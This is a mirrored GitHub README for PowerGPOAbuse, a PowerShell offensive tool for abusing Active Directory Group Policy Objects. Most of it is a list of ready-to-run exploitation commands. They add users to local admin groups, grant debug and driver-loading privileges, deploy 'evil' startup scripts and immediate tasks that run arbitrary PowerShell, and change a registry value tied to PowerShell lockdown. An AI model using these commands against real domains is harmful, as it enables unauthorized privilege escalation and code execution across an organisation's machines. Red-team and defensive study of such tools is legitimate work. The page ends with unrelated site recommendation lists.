Git Product home page Git Product logo

powergpoabuse's Introduction

PowerGPOAbuse

Powershell version of SharpGPOAbuse for those who can't compile or if their C2 can't execute .NET Assembly straightly from memory. Highly inspired by the original C# version and the amazing PowerView.

Usage

Import the script

Recon

  • Those function are designed for exploitation function, but they can be used to quick recon. They not aim to replace PowerView's one.

  • List users PS> Get-DomainUser

  • List groups PS> Get-DomainGroup

  • List GPOs PS> Get-DomainGPO

  • List OUs PS> Get-DomainOU

  • List DCs PS> Find-DomainController

Exploitation

  • Changing GPO status PS> Set-DomainGPOStatus -GPOIdentity "SuperSecureGPO" -Status "AllSettingsDisabled"

  • Creating a new GPLink PS> New-DomainGPLink -GPOIdentity "SuperSecureGPO" -OUIdentity "SecureUsers" -Status "LinkEnabled"

  • Changing the status of a GPLink PS> New-DomainGPLink -GPOIdentity "SuperSecureGPO" -OUIdentity "SecureUsers" -Status "LinkEnabled"

  • Adding a user to a group PS> Add-GPOGroupMember -Member 'Bobby' -GPOIdentity 'SuperSecureGPO'

  • Assign a new right PS> Add-GPOUserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

  • Adding a new Computer/User script PS> Add-GPOStartupScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO' -Scope Computer/User

  • Create an new Computer/User immediate task PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User

  • Adding a new registry key PS> Add-GPORegistryPreference -GPOIdentity SuperSecureGPO -RegistryPath "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -RegistryKey "__PSLockdownPolicy" -RegistryValue "4" -RegistryValueType String -RegistryAction Create

  • Create a new GPO PS> New-DomainGPO -DisplayName SuperSecureGPO -Domain testlab.local

  • Delete a GPO PS> Remove-DomainGPO -GPOIdentity SuperSecureGPO -RemoveFile

Aliases

  • Add-LocalAdmin -> Add-GPOGroupMember

  • Add-UserRights -> AddGPOUserRights

  • Add-Script -> Add-GPOStartupScript

  • Add-Task -> Add-GPOImmediateTask

  • Add-RegistryValue -> Add-GPORegistryPreference

Future changes

Reverse functions, Backup Operator weaponization, stability, optimisation and new exploitation functions.

if you find any bugs, idea to improve the script, or any feedback, feel free raise an issue or propose a pull requests !

powergpoabuse's People

Contributors

rootsysdk avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.